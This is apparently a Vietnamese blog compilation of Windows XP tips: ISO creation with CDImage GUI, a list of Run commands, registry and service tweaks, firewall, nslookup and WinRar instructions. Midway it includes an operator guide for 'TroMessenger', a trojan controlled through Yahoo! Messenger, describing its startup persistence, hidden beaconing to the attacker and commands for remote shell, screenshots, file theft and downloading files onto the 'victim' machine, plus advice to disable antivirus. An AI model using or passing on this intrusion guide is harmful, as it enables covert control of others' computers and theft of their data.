Nói chung là mọi người cứ chạy Run rồi gõ mấy chữ tôi tô đậm vào và tìm hiểu một chút để biêt công dụng của nó nhá.
Nếu có đuôi exe thì có thể bỏ qua ko cần gõ phần đuôi. (nói cứ như đúng rồi!)
= = = =
Phần mềm CDImage GUI Beta 3 của CyBerian cho chép bạn tạo ra tập tin hình ảnh ISO của đĩa CD từ nội dung trên đĩa cứng rồi sau đó dùng một trong các chương trình ghi đĩa có hỗ trợ ghi ISO như Nero BurningROM để tạo ra đĩa CD.
Ta cũng biết bảng phân phối tập tin nằm ở vị trí đầu đĩa chứa tất cả thông tin về cấu trúc tập tin và thư mục trên đĩa, bây giờ giả sử nếu có hai (hoặc nhiều hơn) mục nhập (entry) cùng trỏ đến một nội dung trên đĩa (nghĩa là chứa cùng địa chỉ) thì khi xem đĩa bằng chương trình quản lý tập tin kiểu Windows Explorer ta sẽ thấy có hai tập tin nằm ở hai thư mục khác nhau, nhưng thật ra đĩa chỉ chứa một tập tin duy nhất. Như vậy, nếu ta có thể can thiệp vào bảng phân phối tập tin này thì việc lưu trữ 10 tập tin 600MB giống nhau trên đĩa CD chỉ là chuyện... nhỏ.
Và việc sử dụng phần mềm CDImage GUI với tùy chọn "-o optimize storage by encoding duplicate files only once" chính là giải pháp. Trước tiên bạn phải chép tất cả tập tin và thư mục muốn đưa lên đĩa CD vào một thư mục nào đó trên đĩa cứng. Tiếp đến, bạn chạy chương trình CDImage GUI.
Mục StartUp:
- Thẻ Directories: bạn nhập đường dẫn đến thư mục chứa bộ nguồn (Ví dụ: D:\Download\TuoitreOnline) và đường dẫn kèm tên tập tin hình ảnh ISO sẽ được tạo ra (Ví dụ: C:\Download\TuoitreOnline.iso) vào ô Please specify the Root Dir of your CD và Please specify a Path and Filename for the Iso File, hoặc cũng có thể nhấp vào nút rồi chọn đến từng vị trí tương ứng.
- Thẻ Config:
+ Chọn Use internal CdImage (V.2.47) nếu muốn dùng chương trình CdImage được tích hợp sẵn trong phần mềm.
+ Chọn Use external CdImage nếu muốn sử dụng chương trình CdImage của riêng bạn, khi chọn tùy chọn này bạn sẽ phải nhập đường dẫn đến tập tin cdimage.exe vào trong ô Select your CDImage.Exe.
Tại thẻ này, bạn có thể đánh dấu chọn mục Save your Settings on Exit để chương trình tự động lưu lại những thay đổi của bạn nhằm áp dụng cho lần chạy sau.
Mục Configuration:
- Thẻ Files:
+ "-t time stamp for all files and directories, no spaces, any delimiter": cập nhật ngày tháng tạo tập tin và thư mục cho toàn bộ nội dung đĩa dựa vào ngày tháng bạn nhập trong ô bên dưới, theo dạng [tháng/ngày/năm, giờ:phút:giây].
+ "-g encode GMT time for files rather than local time": mã hóa dạng ngày giờ tại máy tính cục bộ theo dạng GMT.
+ "-h include hidden files and directories": đưa tất cả tập tin và thư mục ẩn có trong thư mục bộ nguồn vào luôn trong tập tin hình ảnh ISO.
- Thẻ FileSystem:
+ "-n allow long filenames (longer than DOS 8.3 names)": giữ lại cấu trúc tên tập tin theo dạng dài, nếu không chọn tùy chọn này thì tất cả tên tập tin trong hình ảnh ISO sẽ bị chuyển thành dạng 8.3 như của DOS.
+ "-nt allow long filenames, restricted to NT 3.51 compatibility": giữ tên tập tin dài theo chuẩn của Windows NT 3.51.
+ "-d don't force lowercase filenames to uppercase": không tự động chuyển tên tập tin chữ thường thành chữ hoa.
- Thẻ Boot: nếu bạn muốn đĩa CD có thể khởi động được thì hãy đánh dấu vào "-b "El Torito" boot sector file, no spaces" rồi nhập đường dẫn đến tập tin .BIN có chứa vùng khởi động vào ô bên dưới, bạn cũng có thể nhấn nút rồi tìm đến tập tin tương ứng.
- Thẻ Signature / CRC:
+ "-o optimize storage by encoding duplicate files only once": tối ưu hóa dung lượng đĩa bằng cách tìm những tập tin giống nhau trong bộ nguồn rồi thay đổi địa chỉ của các mục nhập trên bảng phân phối tập tin để chúng cùng trỏ đến một tập tin duy nhất.
+ "-os show duplicate files while creating image": hiển thị các tập tin trùng nhau khi tạo tập tin hình ảnh ISO.
- Thẻ Report:
+ "-w1 report non-ISO or non-Joliet compliant filenames or depth": báo cáo cấp độ sâu hoặc tên những tập tin không theo chuẩn ISO hay Joliet.
+ "-w2 report non-DOS compliant filenames": báo cáo những tập tin có tên không theo chuẩn DOS.
+ "-w3 report zero-length files": báo cáo những tập tin có kích thước bằng 0.
- Thẻ Creation:
+ "-m ignore maximum image size of 681,984,000 bytes": cho phép tạo ra tập tin hình ảnh ISO lớn hơn 681MB.
+ "-l volume label, no spaces (e.g. -lMYLABEL)": tạo nhãn cho đĩa CD.
Mục Creation: sau khi bạn nhấn nút Start Image Creation, chương trình bắt đầu đọc thư mục chứa bộ nguồn trên đĩa cứng, phân tích các tập tin trong ấy rồi dựa vào những tùy chọn trong Configuration để tạo ra tập tin hình ảnh ISO.
Chương trình miễn phí, dung lượng 640KB, tương thích với mọi Windows
Ẩn máy tính sử dụng Windows XP khỏi Network Neighborhood
Trong mạng nội bộ, có những lúc bạn cần chia sẻ tập tin từ một máy tính, và đôi khi cũng muốn ẩn máy này đi, không cho nó xuất hiện trong Network Neighborhood. Để thực hiện, bạn làm như sau: Vào Start > Run gõ lệnh net config server /hidden:yes rồi nhấn Enter
Mở các cổng và thêm các chương trình trong danh sách tường lửa
Khi tường lửa làm việc, nó sẽ khoá một số cổng và các chương trình nhất định khi kết nối với Internet. Để mở khoá này, bạn thực hiện như sau:
1. Vào Start > Run... gõ firewall.cpl rồi nhấn Enter.
2. Nhấp chọn thẻ Exceptions.
Để mở một cổng kết nối với Internet:
1. Nhấp nút Add Port.
2. Đặt tên bất kỳ cho cổng.
3. Nhập vào cổng muốn mở.
Thêm vào một chương trình:
1. Nhấp nút Add Program...
2. Một danh sách các chương trình đã cài đặt sẽ xuất hiện.
3. Đánh dấu chương trình bạn muốn thêm vào (xem hình 2.1) rồi nhấp OK.
Đây là những câu lệnh Giúp bạn truy cập nhanh đến các ứng dụng của windows!
Bạn có thể vào Start -> Run hoặc (sử dụng phím tắt phím có biểu tượng lá cờ ¬¬¬¬¬+ phim R
Chương trình Câu lệnh
Accessibility Controls access.cpl
Add Hardware Wizard hdwwiz.cpl
Add/Remove Programs appwiz.cpl
Administrative Tools control admintools
Automatic Updates wuaucpl.cpl
Bluetooth Transfer Wizard fsquirt
Calculator calc
Certificate Manager certmgr.msc
Character Map charmap
Check Disk Utility chkdsk
Clipboard Viewer clipbrd
Command Prompt cmd
Component Services dcomcnfg
Computer Management compmgmt.msc
Date and Time Properties timedate.cpl
DDE Shares ddeshare
Device Manager devmgmt.msc
Direct X Control Panel control color
Dr. Watson System Troubleshooting Utility drwtsn32
Driver Verifier Utility verifier
Event Viewer eventvwr.msc
File Signature Verification Tool sigverif
Findfast findfast.cpl
Folders Properties control folders
Fonts control fonts
Fonts Folder fonts
Free Cell Card Game freecell
Game Controllers joy.cpl
Group Policy Editor gpedit.msc
Hearts Card Game mshearts
Iexpress Wizard iexpress
Indexing Service ciadv.msc
Internet Properties inetcpl.cpl
IP Configuration (Display Connection Configuration) ipconfig /all
IP Configuration (Display DNS Cache Contents) ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents) ipconfig /flushdns
IP Configuration (Release All Connections) ipconfig /release
IP Configuration (Renew All Connections) ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS) ipconfig /registerdns
IP Configuration (Display DHCP Class ID) ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID) ipconfig /setclassid
Java Control Panel (If Installed) jpicpl32.cpl
Java Control Panel (If Installed) javaws
Keyboard Properties control keyboard
Local Security Settings secpol.msc
Local Users and Groups lusrmgr.msc
Logs You Out Of Windows logoff
Microsoft Chat winchat
Minesweeper Game winmine
Mouse Properties control mouse
Mouse Properties main.cpl
Network Connections control netconnections
Network Connections ncpa.cpl
Network Setup Wizard netsetup.cpl
Notepad notepad
Nview Desktop Manager face=Verdana> nvtuicpl.cpl
Object Packager packager
ODBC Data Source Administrator odbccp32.cpl
On Screen Keyboard osk
Opens AC3 Filter (If Installed) ac3filter.cpl
Password Properties password.cpl
Performance Monitor perfmon.msc
Performance Monitor perfmon
Phone and Modem Options telephon.cpl
Power Configuration powercfg.cpl
Printers and Faxes control printers
Printers Folder printers
Private Character Editor eudcedit
Quicktime style="font-size:10.0pt;(If Installed) QuickTime.cpl
Regional Settings intl.cpl
Registry Editor regedit
Registry Editor regedit32
Remote Desktop mstsc
Removable Storage ntmsmgr.msc
Removable Storage Operator Requests ntmsoprq.msc
Resultant Set of Policy (XP Prof) rsop.msc
Scanners and Cameras sticpl.cpl
Scheduled Tasks control schedtasks
Security Center wscui.cpl
Services services.msc
Shared Folders fsmgmt.msc
Shuts Down Windows shutdown
Sounds and Audio mmsys.cpl
Spider Solitare Card Game spider
SQL Client Configuration cliconfg
System Configuration Editor sysedit
System Configuration Utility msconfig
System File Checker Utility (Scan Immediately) sfc /scannow
System File Checker Utility (Scan Once At Next Boot) sfc /scanonce
System File Checker Utility (Scan On Every Boot) sfc /scanboot
System File Checker Utility (Return to Default Setting) sfc /revert
System File Checker Utility (Purge File Cache) sfc /purgecache
System File Checker Utility (Set Cache Size to size x) sfc /cachesize=x
System Properties sysdm.cpl
Task Manager taskmgr
Telnet Client telnet
User Account Management nusrmgr.cpl
Utility Manager utilman
Windows Firewall firewall.cpl
Windows Magnifier magnify
Windows Management Infrastructure wmimgmt.msc
Windows System Security Tool syskey
Windows Update Launches wupdmgr
Windows XP Tour Wizard tourstart
Wordpad write
Ngoài ra nếu bạn muốn thêm các câu lệnh cho chương trình mà bạn hay sử dụng bằng cách copy Shortcut đến thư mục c:\windows. Ví dụ copy shortcut word đến thư mục c:\windows và đổi tên thành word. Bây giờ bạn có thể vào word bằng cách vào Run và gỏ word.
Các thủ thuật vui nè
1. Trước tiên hãy mở một văn bản mới của Microsoft Word và đánh : =rand(200,99) sau đó nhấn "enter" .Chờ trong ba giây và nhìn lại.....Oh my god !!!. Ngay cả người của Microsoft cũng ko giải thích được chuyện này.... Nào bạn hãy thử xem
2. Đầu tiên ta tạo một New Folder trên Desktop . Xong ta đăt tên là "Cha" (hong có ngoặc kép "") . Vào trong thư mục "Cha" đó tạo 1 folder mới và bạn hãy thử đặt tên là "Con" xem (cũng ho,g có ngoặc kép luôn) Đố ai làm được (Hong chơi ăn gian = cách thêm bất cứ kí tự hay khoảng trắng nào). Chẳng hiểu sao Win nó rành tiếng việt thế nhỉ (Cha không thể̉ đẻ ra con >> Tếu thật )
Tăng tốc tắt máy:
- Start > Run gõ Regedit. Mở theo các nhánh sau HKEY_CURRENT_USER > Control Panel > Desktop. HungAppTimeout sửa thành 500. WaitToKillAppTimeout sửa thành 10000. WaitToKillServiceTimeout sửa thành 1000.
1. Tắt các dịch vụ không cần thiết:
* Tắt Error Reporting: đây là dịch vụ thông báo mỗi khi có lỗi xảy ra mà có bạn gọi là lỗi Don't Send.
- Vào My Computer > Properties > Thẻ Advanced > chọn Error Reporting chọn Disable error reporting
* Tắt các dịch vụ khác: một số dịch vụ của Microsoft mà bạn sẽ không bao giờ dùng tới sẽ làm chậm hệ thống của bạn, nhất là việc khởi động.
- Vào Start > Run (Win+R) gõ Services.msc. Bấm chuột phải vào dịch vụ muốn tắt, chọn Properties, trong cửa sổ hiện ra, bạn chuyển qua thẻ General, trong phần Startup Type chọn Disable. Các dịch vụ có thể tắt đi mà không ảnh hưởng đến công việc của bạn: ASP.NET State Service, Automatic Updates, Help and Support, Indexing Service, Messenger, Remote Registry, Upload Manager, Web Client, Machine Debug Manager.
Bỏ bớt các chương trình khởi động cùng hệ thống:
- Đơn giản nhất là vào Start > Programs > Startup để xem và xóa bớt.
- Start > Run gõ msconfig, OK. Qua thẻ Startup, tại đây bạn muốn ngăn chương trình nào khởi động thì bỏ dấu chọn nó là xong.
Tăng tốc trình đơn:
- Bấm chuột phải vào Desktop > Properties > Thẻ Appearance bấm vào nút Effects. Bỏ dấu chọn tại Show shadows under menus rồi OK.
- Giảm thời gian chờ xuất hiện trình đơn: Vào Run gõ Regedit rồi mở theo các nhánh HKEY_CURRENT_USER > Control Panel > Desktop. Ở khung bên phải bạn tìm chữ MenuShowDelay rồi bấm đúp vào sửa số trong khung thành 0 > OK.
Vô hiệu hóa những phần cứng không cần thiết:
Khi khởi động windows sẽ nạp dữ liệu về phần cứng nên càng nhiều phần cứng sẽ làm chậm quá trình khởi động. Vì vậy, nếu cái nào ít dùng (ổ đĩa mềm chẳng hạn) bạn hãy disable nó để máy khởi động nhanh hơn.
- Bấm phải chuột vào My Computer > Manage > Device Manager. Ở khung bên phải bạn xem phần nào mình không muốn dùng nữa hãy bấm chuột phải và chọn Disable. Khi nào muốn sử dụng lại cũng làm tương tự nhưng chọn Enable.
Giải mã địa chỉ IP
Thực tế cho thấy, khi phần mềm tường lửa trên máy tính chặn đứng một hành động truy cập từ xa trái phép vào hệ thống, hoặc khi bộ lọc thư rác và trang web giả mạo loại bỏ một email đầy nghi vấn thì thông tin duy nhất mà những công cụ này cung cấp cho bạn chính là địa chỉ IP nơi phát sinh các hành vi trên. Khi đó, để kiểm tra danh tính (tên miền) của địa chỉ này là gì, bạn cần sử dụng nslookup - một chương trình dạng dòng lệnh trong Windows XP/Windows 2000.
Bạn nhấn Start > Run, gõ vào lệnh command hay cmd, sau đó ấn . Trong cửa sổ dòng lệnh, gõ vào nslookup <địa chỉ IP>, ấn Enter. Sau đó, trên màn hình sẽ xuất hiện thông tin về máy chủ dịch vụ DNS được sử dụng để thực hiện tìm kiếm, theo sau là địa chỉ IP và tên miền mà bạn cần biết Ngoài ra, nslookup cũng có khả năng phân giải một tên miền sang địa chỉ IP: cách thực hiện tương tự nhưng với tham số dòng lệnh là chính tên miền đó.
Chuyển địa chỉ IP thành tên miền và địa chỉ máy chủ bằng lệnh nslookup.
Nếu bạn sử dụng thiết bị router hay hub không dây, lệnh nslookup sẽ xuất hiện thông báo lỗi "default server are not available", nhưng vẫn cung cấp đầy đủ các thông tin cần thiết.
Thông thường, chỉ cần biết tên miền của một địa chỉ IP là bạn đã có thể xác định được trang web đó có phải là giả mạo hay không; nhưng cũng có trường hợp, bạn muốn nhiều thông tin hơn. Để tìm số điện thoại, địa chỉ email và các thông tin khác liên quan đến một địa chỉ IP hay tên miền nào đó, bạn có thể sử dụng các công cụ tìm kiếm tại trang web www.dnsstuff.com. Website này có khả năng chỉ rõ một địa chỉ IP có nguồn gốc từ quốc gia và thành phố nào trên thế giới.
Mở nhanh Website
Nếu có nhu cầu mở nhanh nhiều website thì bạn cần một giải pháp hiệu quả hơn. Thay vào đó, bạn hãy tạo những biểu tượng tắt để khởi chạy trình duyệt với địa chỉ trang web cần mở nhanh: nhấn phải chuột lên màn hình Windows, chọn New > Shortcut, nhập vào địa chỉ website, nhấn Next, đặt tên cho biểu tượng này và sau đó nhấn Finish để kết thúc.
Giải quyết trục trặc sau khi cài phần mềm mới
Sau khi cài một phần mềm mới, máy tính của tôi trở nên chậm và không ổn định. Không những vậy, việc gỡ cài đặt chương trình này cũng không thể khắc phục được hiện tượng này. Liệu có biện pháp nào an toàn hơn để cài đặt phần mềm không?
Thực tế cho thấy, nhiều tiện ích cài đặt phần mềm có khả năng làm thay đổi đáng kể các cấu hình quan trọng của Windows, và làm tăng nguy cơ gây ra "gục ngã" của hệ thống. Đồng thời, các tiện ích gỡ bỏ cài đặt (uninstall) cũng gần như không thể sửa được lỗi này. Hãy tham khảo các bước được trình bày bên dưới, chúng sẽ giúp bạn tạo an toàn cho quá trình cài đặt phần mềm.
Lựa chọn cẩn thận: Trước khi cài đặt bất kỳ ứng dụng nào, bạn cần đọc thật kỹ các bài viết đánh giá, trao đổi với những ai đã từng dùng qua hay biết rõ về ứng dụng này, và tìm kiếm những ý kiến phản hồi (comment) tại các diễn đàn mạng (như groups.google.com chẳng hạn). Sau đó, hãy tự hỏi chính mình rằng liệu những lợi ích mà ứng dụng này đem lại có đáng giá hơn mối nguy hiểm đang rình rập bạn hay không.
Gỡ cài đặt phần mềm bằng Add or Remove Programs của Windows.
Bạn nên nhớ đừng bao giờ cài đặt một ứng dụng mới hay cập nhật bản nâng cấp cho đến khi chúng đã xuất hiện được vài tháng. Quãng thời gian này thường được các hãng sản xuất nhận thông tin phản hồi từ người dùng, sau đó tiến hành "vá" các lỗi hay thậm chí là lỗ hổng bảo mật vừa được phát hiện.
Và bạn cũng đừng vội khẳng định một chương trình nào đó thực sự an toàn vì được tạo ra bởi một hãng phần mềm nổi tiếng. Điều này có thể dễ dàng nhận ra với các phần mềm của Microsoft và Symantec.
Đề phòng bất trắc: Công việc quan trọng đầu tiên mà bạn cần thực hiện trước khi cài đặt một phần mềm mới vào máy tính là tiến hành sao lưu lại cấu hình hiện tại của Windows. Tính năng System Restore trong Windows XP sẽ tự động tạo ra một cột mốc hồi phục (restore point) trước khi khởi động mỗi quá trình cài đặt ứng dụng mới, nhưng để an toàn hơn, bạn hãy thực hiện việc này một cách thủ công: nhấn Start -> All Programs -> Accessories -> System Tools -> System Restore -> Create a restore point -> Next, và thực hiện các bước còn lại theo hướng dẫn.
Việc cài đặt một ứng dụng mới cũng có thể dẫn đến việc "phá hoại" các thông số Registry và trong vài trường hợp sẽ gây nên sự mất ổn định của hệ thống hoặc thậm chí gây treo máy. Do vậy, hãy tiến hành sao lưu lại toàn bộ Registry của Windows trước khi tiến hành công việc, bạn có thể sử dụng công cụ sẵn có trong tiện ích Registry Editor (chọn Start.Run, gõ vào lệnh regedit và ấn <Enter>) hay tiện ích của hãng thứ 3 như Emergency Recovery Utility NT. Đề biết thêm nhiều thủ thuật tinh chỉnh các thông số phức tạp này, bạn có thể tham khảo mục Phương thuốc Registry trong bài biết "Giải mã Windows XP".
Đánh giá sự cố: Sau khi cài đặt xong chương trình, bạn hãy kiểm tra các biểu tượng mới xuất hiện trên khay hệ thống. Nhiều khả năng, chương trình mới này đã bổ sung vài tiện ích không cần thiết - và thường rất nguy hiểm - vào danh sách ứng dụng được khởi chạy cùng lúc với quá trình khởi động của Windows.
Ngoài ra, bạn đừng cài đặt thêm bất kỳ chương trình nào khác vào máy tính trong khoảng vài ngày (hoặc lâu hơn càng tốt) để nếu chẳng may xảy ra trục trặc, việc xác định nguyên nhân cũng sẽ dễ dàng hơn.
Rút lui nếu cần: Nếu chương trình vừa được cài đặt không làm hài lòng bạn, hãy xóa chương trình này khỏi hệ thống bằng cách sử dụng tiện ích gỡ bỏ cài đặt đi kèm (thường tìm thấy trong trình đơn Start -> All Programs). Nếu không tìm thấy tiện ích gỡ bỏ cài đặt, bạn chọn Start -> Control Panel -> Add or Remove Programs (hay Start -> Settings -> Control Panel -> Add/Remove Programs ở các phiên bản Windows khác), chọn ứng dụng cần xóa trong danh sách vừa xuất hiện, và nhấn Remove để chạy tiện ích gỡ bỏ cài đặt (Hình 1). Tính năng Add/Remove Programs và biểu tượng từ trình đơn Start dù khác nhau nhưng cùng khởi chạy tiện ích gỡ bỏ cài đặt.
Nếu cách trên không thể loại bỏ chưong trình vừa chọn, bạn hãy chạy tiện ích System Restore để đưa Windows quay lại hiện trạng trước khi tiến hành cài đặt chương trình đó. Nếu tiếp tục không thành công, bạn cần sử dụng tuỳ chọn gỡ bỏ cài đặt trong tiện ích ERUNT được giới thiệu ở phần trên.
Cũng xin lưu ý, việc phục hồi Registry từ một bản sao lưu cũ có thể gây mất vài thông số cài đặt, hoặc làm vô hiệu hóa những chương trình được cài đặt sau khi thực hiện sao lưu đó. Đây là một lý do khác để bạn cần chờ đợi một khoảng thời gian giữa các lần cài đặt chương trình.
Xâm nhập máy tính từ xa thông qua Yahoo! Messenger
Sơ lược chương trình: Đây là một chương trình xâm nhập và kiểm soát máy tính từ xa thông qua Yahoo! Messenger. Với công cụ này, bạn có thể kiểm soát bất cứ một máy tính nào bằng cách gửi thông tin qua Yahoo! Messenger ảo thiết lập trong hệ thống. Từ đó bạn có thể ra lệnh cho máy đối tượng làm theo bất kỳ mệnh lệnh nào.
Cơ chế hoạt động: Sau đây là quy trình hoạt động của chương trình sau khi xâm nhập:
1) Chạy vào chương trình khởi động (Startup).
2) Kiểm soát bộ nhớ hệ thống.
3) Nằm ẩn chờ khi có kết nối vào mạng.
4) Khi máy đối tượng đã kết nối, phát tín hiệu trở về cho máy ID ảo.
5) Gửi thông tin về cho chủ nhân, sau khi quá trình phát tín hiệu thành công.
6) Và bây giờ bạn đã có thể kiểm soát mọi thứ trên máy nạn nhân.
Cấu hình tối thiểu:
1) Hệ điều hành Microsoft Windows XP hoặc Windows Server 2003. Chương trình không hỗ trợ trên Windows 2000, Windows 98 đến thấp hơn, và hệ thống Linux. : 128MB RAM (256MB RAM cấu hình chuẩn). 700Mhz CPU. 8MB Card đồ họa. Dung lượng trống đủ dùng. (Để lưu hình chụp gửi về) . Kết nối mạng thường xuyên. Chương trình hoạt động với mọi loại mạng. Ví dụ: Dialup, ADSL, Wireless, Broadband, Satellite, LAN...
Chương trình vẫn hoạt động với điều kiện truy cập mạng bình thường. Nhưng điều kiện kết nối liên tục thường xuyên sẽ giúp quá trình phát tín hiệu và gửi thông tin tốt hơn.
Tính năng đặc biệt : Không đòi hỏi IP Address! Đây là ưu thế mạnh nhất của chương trình này. Trong những chương trình trước đây bạn buộc phải có và khai báo một IP Address trong quá trình kiểm soát. Với chương trình này thì không đòi hỏi IP Address.
Nghi vấn - Làm thế nào có thể thực hiện kiểm soát mà không cần IP Address?
Giải đáp - Bởi vì chương trình này tạo ra hẳn một Yahoo! ID ảo cho bạn, vì vậy bạn không cần phải khai báo IP Address từ máy điều khiển. Mặc dù IP Address vẫn được gửi cho bạn khi kết nối. Nhưng đó chỉ là thông tin cung cấp thêm cho bạn về máy bị kiểm soát, và không có tác dụng gì đối với chương trình TroMessenger.
Chạy ẩn trong hệ thống mạng LAN, kể cả hệ thống Router của máy chủ. Đây là một khuyết điểm của hầu hết các loại Trojan, như là Troya, chỉ hoạt động trên hệ thống có IP tĩnh. Trước đây, bạn phải có được IP Address hợp lệ. Ví dụ: nếu có một hệ thống mạng với 5 máy tính và bạn là một thành viên trong hệ thống mạng đó, bạn có thể truy cập vào các máy khác. Nhưng ai đó nằm ngoài hệ thống mạng này thì không thể truy cập vào bất cứ máy nào trong hệ thống. Bởi vì anh ta không có IP Address hợp lệ để liên kết vào hệ thống. Nhưng giờ đây, vấn đề đã được giải quyết với TroMessenger. Với TroMessenger, bạn có thể truy cập vào bất cứ máy nào ở bất kỳ hệ thống mạng nào. Chỉ cần mọi máy tính được kết nối vào mạng và TroMessenger đang nằm ẩn bên trong.
Các kiểu lệnh: Trong phiên bản này, đây là một số câu lệnh khởi đầu cho việc kiểm soát.
/Result - Kết quả của quá trình thực thi sẽ được gửi về ngay sau khi quá trình hoàn tất. Nhưng nếu như nội dung của kết quả gửi về quá dài (nhiều hơn 200 ký tự), nó sẽ được gửi lần lượt, liên tục. Bởi vì Yahoo! Messenger không cho phép nội dung có số ký tự vượt quá giới hạn đã định sẵn.
/cmd - Tương tự MS-DOS Command Prompt. Bạn có thể thực thi lệnh DOS trên máy bị kiểm soát, và nhận được kết quả. Các lệnh như: DIR , VER , VOL , IPConfig , Netstat , WHOAMI v.v ... đều có thể được sử dụng như lệnh DOS.
Ví dụ: /cmd dir C:\*.txt]
Các kiểu lệnh thực thi DOS: Bạn có thể thực thi một số lệnh DOS đặc biệt để khai thác thông tin từ phía máy bị kiểm soát.
/cmd dir - Xem danh sách các tập tin và thư mục. Bạn có thể sử dụng linh động các thông số để khai thác thông tin cụ thể nhất. Ví dụ: /cmd dir /on , /cmd dir *.txt
/cmd ipconfig - Lấy thông tin truy cập. Câu lệnh có chức năng khai thác thông tin từ thiết bị mạng đang sử dụng trên máy bị kiểm soát. Nó sẽ truy ra tên thiết bị mạng, địa chỉ IP, cổng vào, DNS Server ... v.v
/cmd tasklist - Lấy danh sách các chương trình đang hoạt động. Tương tự như Windows Task Manager. Nhưng dưới giao diện DOS.
/cmd whoami - Cung cấp thông tin để xác định máy qua mạng. Thông tin gửi về gồm : TÊN MIỀN / TÊN NHÓM MẠNG , Tên máy tính và tên truy cập máy tính sử dụng WINDOWS. Lưu ý : Câu lệnh này chỉ hoạt động với Windows Server 2003. Không hỗ trợ trên Windows XP.
/cmd netstat - Hiển thị hệ thống mạng và tất cả kết nối hiện có trên máy tính. Để đạt tốc độ nhanh, sử dụng /cmd netstat -na
Khai thác thông tin của máy tính: Chỉ việc sử dụng câu lệnh này, bạn có thể lấy được thông tin chính từ máy đối tượng.
/IP - cho biết địa chỉ IP. Một máy tính có thể có nhiều hơn một địa chỉ IP khi hoạt động. Ví dụ : bạn có một tài khoản để kết nối internet, và máy tính của bạn đang nằm trong một khu vực kết nối mạng nội bộ (LAN). Vì vậy bạn sẽ có 2 địa chỉ IP ấn định trong máy tính. TroMessenger sẽ gửi toàn bộ địa chỉ IP hiện hành trên máy tính.
/osname - cho bạn biết đầy đủ về tên của Hệ điều hành Windows và tên các phiên bản cập nhật. Ví dụ : Windows Server 2003 Service Pack 1.
/computername - cho biết tên thiết lập của máy trên hệ thống mạng. Các máy tính nhận dạng nhau qua tên này. Nếu máy tính hiện thời chưa được kết nối, không thành vấn đề, nội dung sẽ được gửi ngay sau đó.
/winusername - cho biết tài khoản quản lý sử dụng Windows. Đặc biệt trong Windows XP, có thể sẽ có nhiều tài khoản sử dụng cùng một máy. Và thông tin này sẽ được thay đổi mỗi khi người sử dụng truy cập.
Nhưng với Windows Server 2003 tên này luôn được trả về Administrator. Tuy nhiên dân Admin đã biết chuyển tên tài khoản. nhưng thông thường đa số Admin lại quên làm.
/yahooid - Cho biết tên Yahoo ID của người cuối cùng đang bị kiểm soát.
Những chức năng chính
/Help - Hiển thị các lệnh hợp lệ của TroMessenger. Sẽ có nhiều câu lệnh hơn trong những phiên bản mới. Lúc đó bạn chỉ cần sử dụng lệnh này.
/screenshot - Cho bạn ảnh chụp màn hình của máy tính đối tượng.
Nghi vấn - Yahoo! Messenger là chương trình viết bằng ngữ lệnh, làm sao TroMessenger có thể cho tôi xem ảnh chụp ?
Giải đáp - TroMessenger cho bạn ảnh ngay tức khắc. Có nghĩa là : chụp sao lại màn hình, sau đó tải lên mạng, và gửi đến bạn một liên kết để xem ảnh.
/download - Tải về một thứ gì đó và lưu lại trên máy đối tượng. Bạn sẽ được thông báo khi quá trình hoàn tất.
Câu lệnh: /download "http://www.hostname.com/folder/file.zip" "C:\SavedFile.zip"
Chú ý: Bạn phải sử dụng dấu ngoặc ("). Nếu quên, quá trình tải về sẽ không thực hiện được.
/restart - Khởi động lại máy tính.
Chú ý: Nếu bạn chạy thử nghiệm trên máy tính của bạn, bạn sẽ bị khởi động ngay lập tức mà không có tín hiệu thông báo nào. Và những chương trình trên máy sẽ bị mất. Hãy cẩn thận khi sử dụng câu lệnh này. Tương tự như Shutdown command.
/shutdown - Tắt máy tính. (Lặp lại chú ý)
/time , /date - Hiển thị ngày và giờ.
/ejectcd - Mở ổ đĩa CD-ROM.
/closecd - Đóng ổ đĩa CD-ROM sau khi mở.
/view - Hiển thị nội dung của văn bản. Lưu ý: nếu văn bản nhiều hơn ... ký tự, nó sẽ được ngắt ra thành nhiều phần để gửi liên tiếp nhau.
/getfile - tải bất kỳ tập tin nào lên mạng và gửi liên kết tải về cho bạn. Được sử dụng khi bạn muốn đọc những tập tin không phải là tập tin văn bản từ máy đối tượng
/status , /idle , /busy - Đặt tín hiệu hiển thị cho địa chỉ ảo. Như là tín hiệu Busy hoặc Idle Icons bên cạnh ID. Câu lệnh ví dụ :
/status Toiyeuem.
/idle Dangantoi.
/busy Hiendangban.
/cancel - Đình chỉ câu lệnh đang thực hiện. Ví dụ khi bạn muốn xem một tập tin văn bản có dung lượng 1MB. Và nội dung đang được gửi đi từng phần, nhưng rồi bạn cảm thấy chán và không muốn xem nữa và muốn gửi một lệnh khác. Chỉ cần dùng lệnh /cancel là xong.
/login - Đăng nhập tài khoản sử dụng quản lý. Mỗi khi TroMessenger khởi động, nếu bạn không được xác nhận là chủ quản lý của chương trình, nhưng bạn biết mật khẩu, bạn sẽ sử dụng /login your password để bắt đầu điều khiển chương trình. Không sử dụng dấu ngoặc cho mật khẩu...
Nhưng chú ý: Đây là chương trình xâm nhập trái phép và có thể có Trojan nên khi bạn giải nén ra một số file sẽ bị Symantec và NAV kill luôn. Bạn nào muốn edit thì tắt auto protect của NAV đi (nhưng coi chừng gậy lưng đập lưng ông đó)
Dùng Winrar nén file với dung lượng tùy chọn
Có thể nói Winrar là một phần mềm không thể thiếu được cài trên các máy tính cá nhân để nén và giải nén, ngoài ra nó có nhiều chức năng rất hay. Bạn có thể xem http://www.blogthuthuat.com/?p=211 để biết tạo phần mềm portable bằng Winrar.
Đối với các file hay thư mục có dung lượng lớn, và bạn muốn nén lại với dung lượng phù hợp (để copy vào USB chẳng hạn) thì bạn có thể làm như sau:
Right click lên thư mục hay file cần nén chọn Add to Archive. Hoac bạn có thể chọn kiểu nén ở mục Compressed method.
Ở chỗ Split to volumns bạn hãy nhập vào dung lượng file muốn tạo ra. Chú ý là con số nhập vào tính theo đơn vị là Byte cho nên bạn phải tính toán dung lượng nhập vào, giả sử tôi muốn tạo ra các file nén 30MB thì con số mà tôi phải nhập vào là: 30 x 1024 x 1024 = 31457280. Nhấn OK rồi đợi nó làm
Sau khi nó làm xong bạn sẽ thấy nó tạo ra các file .rar với dung lượng đúng 30MB.
Để hợp lại các file .rar này bạn đặt chúng vào trong một thư mục sau đó right click lên 1 file bất kì, chọn Extract here hoặc Extract to.... là xong.
Lưu lại các thiết lập liên quan đến màn hình Desktop
Nếu không muốn những thiết lập mình đã thực hiện cho các folder cũng như màn hình desktop bị người khác thay đổi, bạn thực hiện như sau:
